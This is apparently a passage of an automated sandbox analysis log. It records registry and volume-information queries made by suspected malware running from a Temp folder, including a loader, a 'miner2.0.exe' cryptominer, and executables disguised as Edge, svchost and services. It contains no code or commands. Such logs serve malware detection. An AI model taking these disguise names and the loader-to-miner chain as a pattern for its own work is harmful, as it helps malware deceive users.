Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\miner2.0.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\svchost64.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\services64.exe	Queries volume information: C:\Windows\System32\services64.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\services64.exe	Queries volume information: C:\Windows\System32\services64.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
